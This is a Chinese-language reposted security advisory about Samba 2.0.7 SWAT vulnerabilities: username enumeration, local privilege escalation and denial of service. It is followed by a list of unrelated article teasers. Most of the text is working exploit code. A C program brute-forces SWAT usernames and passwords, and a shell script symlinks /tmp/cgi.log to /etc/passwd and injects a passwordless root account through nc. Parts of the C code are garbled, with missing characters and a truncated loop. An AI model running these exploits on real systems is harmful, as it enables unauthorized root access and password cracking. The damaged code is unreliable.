Linuxswat多个严重漏洞
作者:COCO歧 | 来源:互联网 | 2017-06-15 19:22
文章标题:Linuxswat多个严重漏洞。Linux是中国IT实验室的一个技术频道。包含桌面应用,Linux系统管理,内核研究,嵌入式系统和开源等一些基本分类
受影响的版本:
Samba 2.0.7
不受影响的版本:
Samba 2.0.9
漏洞描述:
swat是Samba 2.0以上服务器中包含的一个服务进程,它使管理员可以通过 web 界面对samba服务器进行配置管理.在Samba 2.0.7的swat服务中存在多个漏洞, 严重危害到系统安全.
(1)可能泄漏系统用户名和密码. 当用户登录到swat页面时,swat会提示用户输入用户名和密码.当用户输入错误 的用户名时,swat会给出信息: 401 Bad Authorization username/password must be supplied 但是当用户输入正确的用户名但密码错误时,swat将会挂起两秒,然后返回信息: 401 Authorization Required You must be authenticated to use this service. 这样攻击者通过对swat返回的不同消息,可以获得系统中的用户名,从而可以进 一步获取该用户的密码,由于swat却省情况下没有打开日志功能,因此攻击过程 不会被纪录;如果swat打开了日志功能的话,将直接导致漏洞2的发生. ( 测试代码一 )
(2)本地用户权限提升 swat默认情况下没有启用日志功能.如果启用了日志功能,swat没有检查日志文 件是否已经存在,就覆盖写入来自客户端用户的任意输入内容,这样本地的恶意 用户可以通过临时文件的竞争改写系统中的重要文件. 示例: webmaster@isbase.combash2.02$ ln -s /etc/passwd /tmp/cgi.log #首先建立一个连接 webmaster@isbase.combash2.02$ telnet localhost 901 #然后登录到901(swat)端口:
toor::0:0::/:/bin/bash #输入如上内容,切断连接 ctrl^]:quit webmaster@isbase.combash2.02$ cat /etc/passwd #查看/etc/passwd文件
[Date: Mon, 31 Oct 2000 22:19:58 GMT localhost.localdomain (127.0.0.1)] toor::0:0::/:/bin/bash
webmaster@isbase.combash2.02$ su
恶意用户将获得root权限。 ( 测试程序二 )
(3)拒绝服务攻击 在登录时输入不正确的URL,例如 hostname:901?badfile 提供不正确的用户名和口令, swat将提示: Authentication Required 然后inetd将重启swat.如果系统使用netscape浏览器,netscape将立即重试url,最终导 致inetd关闭swat服务很长一段时间.
测试方法:(以下的程序或方法可能具有攻击性,如用于非法用途,后果自负!)
---------------------------* swat_test1.c *---------------------------------- #include stdio.h #include netdb.h #include stdlib.h #include string.h #include sys/socket.h #include sys/types.h #include netinet/in.h #include arpa/inet.h #include signal.h #include errno.h #include fcntl.h
#define SWAT_PORT 901 #define MAX_NAME_SIZE 16 #define MAX_PASS_SIZE 16 #define CHECK_PASSWORD "centerfield" #define USER_AGENT "super-hyper-alpha-pickle-2000"
struct VALID_NAMES { char *name; struct VALID_NAMES *next; };
struct VALID_NAMES *add_to_names(struct VALID_NAMES *list, char *name) { list->name=(char *)malloc(MAX_NAME_SIZE); memcpy(list->name, name, MAX_NAME_SIZE); list->next=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES)); list=list->next; memset(list, 0, sizeof(struct VALID_NAMES)); return(list); }
void chop(char *str) { int x;
for(x=0;str[x]!=;x++) if(str[x]== ) { str[x]=; return; } return; }
char *base64_encode(char *str) { char *b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
int x, y; unsigned char *output;
output=(char *)malloc(strlen(str)*2); memset(output, 0, strlen(str)*2);
for(x=0, y=0;x> 2;
output[y+1] = str[x] <<6; output[y+1] = output[y+1] >> 2; output[y+1] = output[y+1] | (str[x+1] >> 4);
output[y+2] = str[x+1] <<4; output[y+2] = output[y+2] >> 2; output[y+2] = output[y+2] | (str[x+2] >> 6);
output[y+3] = str[x+2] <<2; output[y+3] = output[y+3] >> 2; }
if(strlen(str)%3 == 1) { output[y]=str[x] >> 2; output[y+1]=str[x] <<6; output[y+1]=output[y+1] >> 2; output[y+2]=64; output[y+3]=64; }
if(strlen(str)%3 == 2) { output[y]=str[x] >> 2; output[y+1]=str[x] <<6; output[y+1]=output[y+1] >> 2; output[y+1]=output[y+1] | (str[x+1] >> 4); output[y+2]=str[x+1] <<4; output[y+2]=output[y+2] >> 2; output[y+3]=64; }
for(x=0 ; output[x] != 0 ; x++) output[x] = b64[output[x]];
output[x+1]=; return(output); }
int check_user(char *name, char *pass, struct hostent *he) { char buf[8192]=""; char buf2[1024]=""; int s; struct sockaddr_in s_addr;
memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2));
s_addr.sin_family = PF_INET; s_addr.sin_port = htons(SWAT_PORT); memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr, sizeof(s_addr.sin_addr));
if((s=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { fprintf(stderr, "cannot create socket "); exit(-1); }
if(connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr))==-1) { fprintf(stderr, "cannot connect "); exit(-1); }
chop(name); chop(pass); sprintf(buf2, "%s:%s", name, pass); sprintf(buf, "GET / HTTP/1.0 " "Connection: Keep-Alive " "User-Agent: %s " "Authorization: Basic %s ", USER_AGENT, base64_encode(buf2));
if(send(s, buf, strlen(buf), 0) <1) { perror("send: "); exit(1); }
memset(buf, 0, sizeof(buf)); if(recv(s, buf, sizeof(buf), 0) <1) { perror("recv: "); exit(1); }
buf[sizeof(buf)]=;
if(strstr(buf, "HTTP/1.0 401 Authorization Required") != NULL) { close(s); return 1; } else if(strstr(buf, "HTTP/1.0 401 Bad Authorization") != NULL) { close(s); return 0; } else if(strstr(buf, "HTTP/1.0 200 OK") != NULL) { close(s); return 2; } else { printf("Unknown result: %s ", buf); exit(1); } }
void usage(void) { printf(" Usage: flyswatter [-a] -t target -n namefile -p passwordfile "); printf(" -a: Do not verify that users exist. "); exit(1); }
int main(int argc, char** argv) { int x, y, z;
int s; char buf[MAX_NAME_SIZE]=""; FILE *pfile, *nfile; struct hostent *he; struct VALID_NAMES *valid_names; struct VALID_NAMES *list_walk;
int tryall=0; char target[1024]=""; char namefile[512]=""; char passwordfile[512]="";
valid_names=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES)); list_walk=valid_names; memset(valid_names, 0, sizeof(struct VALID_NAMES));
if(argc<2) usage();
for(x=1;x if(strncmp(target, "", sizeof(target))==0) { fprintf(stderr, "Must specify target "); exit(1); }
if(strncmp(namefile, "", sizeof(target))==0) { fprintf(stderr, "Must specify namefile "); exit(1); }
if((nfile=fopen(namefile, "r"))==NULL) { fprintf(stderr, "Cannot open %s ", namefile); exit(1); }
if(strcmp(passwordfile, "")!=0) if((pfile=fopen(passwordfile, "r"))==NULL) { fprintf(stderr, "Cannot open %s ", passwordfile); exit(1); }
printf(" "); if(tryall==1) printf("-Not verifying usenames "); printf("-Namefile: %s ", namefile); printf("-Passwordfile: %s ", passwordfile); printf("-Target: %s ", target);
if((he=gethostbyname(target)) == NULL) { fprintf(stderr, " *Invalid target "); usage(); }
if(tryall==0) while(fgets(buf, sizeof(buf), nfile)) { chop(buf); if(check_user(buf, CHECK_PASSWORD, he) == 1) { printf("User "%s" exists! ", buf); list_walk=add_to_names(list_walk, buf); } } else while(fgets(buf, sizeof(buf), nfile)) { chop(buf); list_walk=add_to_names(list_walk, buf); }
if(strcmp(passwordfile, "")==0) { exit(0); printf("Finished. "); }
while(valid_names->next != 0) { fseek(pfile, 0, SEEK_SET); while(fgets(buf, sizeof(buf), pfile)!=NULL) { if(check_user(valid_names->name, buf, he)==2) printf("valid username/password: %s:%s ", valid_names->name, buf); } valid_names=valid_names->next; }
printf("Finished. "); exit(0); }
------------------------------* swat_test2.sh---------------------------------- #!/bin/sh # swat for samba 2.0.7 compiled with cgi logging exploit # discovered by miah miah@uberhax0r.net # exploit by optyx optyx@uberhax0r.net if [ -f /tmp/cgi.log ]; then if [ `rm -f /tmp/cgi.log` ]; then echo "/tmp/cgi.log exists and cannot be deleted" exit fi fi echo "backing up /etc/passwd" cp -pd /etc/passwd /tmp/.bak touch -r /etc/passwd /tmp/.bak ln -s /etc/passwd /tmp/cgi.log echo "connecting to swat" echo -e "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash "| nc -w 1 localhost swat if [ `su -l uberhaxr -c "cp /bin/bash /tmp/.swat"` ]; then echo "exploit failed" rm /tmp/.bak rm /tmp/cgi.log exit fi su -l
推荐阅读
-
本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ...
[详细]
蜡笔小新 2023-12-14 18:16:27
-
这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ...
[详细]
蜡笔小新 2023-12-14 16:19:10
-
-
本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ...
[详细]
蜡笔小新 2023-12-14 14:01:06
-
VNCViewerforMac是一款运行在Mac平台上的远程桌面工具,vncviewermac版可以帮助您使用Mac的键盘和鼠标来控制远程计算机,操作简 ...
[详细]
蜡笔小新 2023-12-14 12:55:15
-
本文详细介绍了云服务器API接口的概念和作用,以及如何使用API接口管理云上资源和开发应用程序。通过创建实例API、调整实例配置API、关闭实例API和退还实例API等功能,可以实现云服务器的创建、配置修改和销毁等操作。对于想要学习云服务器API接口的人来说,本文提供了详细的入门指南和使用方法。如果想进一步了解相关知识或阅读更多相关文章,请关注编程笔记行业资讯频道。 ...
[详细]
蜡笔小新 2023-12-14 12:43:39
-
本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ...
[详细]
蜡笔小新 2023-12-13 21:47:39
-
本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ...
[详细]
蜡笔小新 2023-12-13 20:24:11
-
本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ...
[详细]
蜡笔小新 2023-12-13 17:08:24
-
本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ...
[详细]
蜡笔小新 2023-12-13 13:23:48
-
本文介绍了Python2x和Python3x在语法上的区别,包括print语句的变化、除法运算结果的不同、raw_input函数的替代、class写法的变化等。同时还介绍了Python脚本的解释程序的指定方法,以及在不同版本的Python中如何执行脚本。对于想要学习Python的人来说,本文提供了一些注意事项和技巧。 ...
[详细]
蜡笔小新 2023-12-14 11:27:53
-
本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ...
[详细]
蜡笔小新 2023-12-14 07:44:06
-
本文介绍了在Mac上配置环境变量,实现Python3的命令行调用的步骤。首先通过官网下载或使用brew安装Python3,并找到安装路径。然后将该路径添加到环境变量中,可以通过编辑.bash_profile文件或执行source命令来实现。配置完成后,即可在命令行中直接调用Python3。 ...
[详细]
蜡笔小新 2023-12-13 13:55:37
-
本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ...
[详细]
蜡笔小新 2023-12-13 12:01:03
-
本文分享了作者在国庆期间在thinkpad X60上成功安装Sabayon Linux的经验。通过修改CHOST和执行emerge命令,作者顺利完成了安装过程。Sabayon Linux是一个基于Gentoo Linux的发行版,可以将电脑快速转变为一个功能强大的系统。除了作为一个live DVD使用外,Sabayon Linux还可以被安装在硬盘上,方便用户使用。 ...
[详细]
蜡笔小新 2023-12-13 11:35:40
-
本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ...
[详细]
蜡笔小新 2023-12-13 10:58:55
-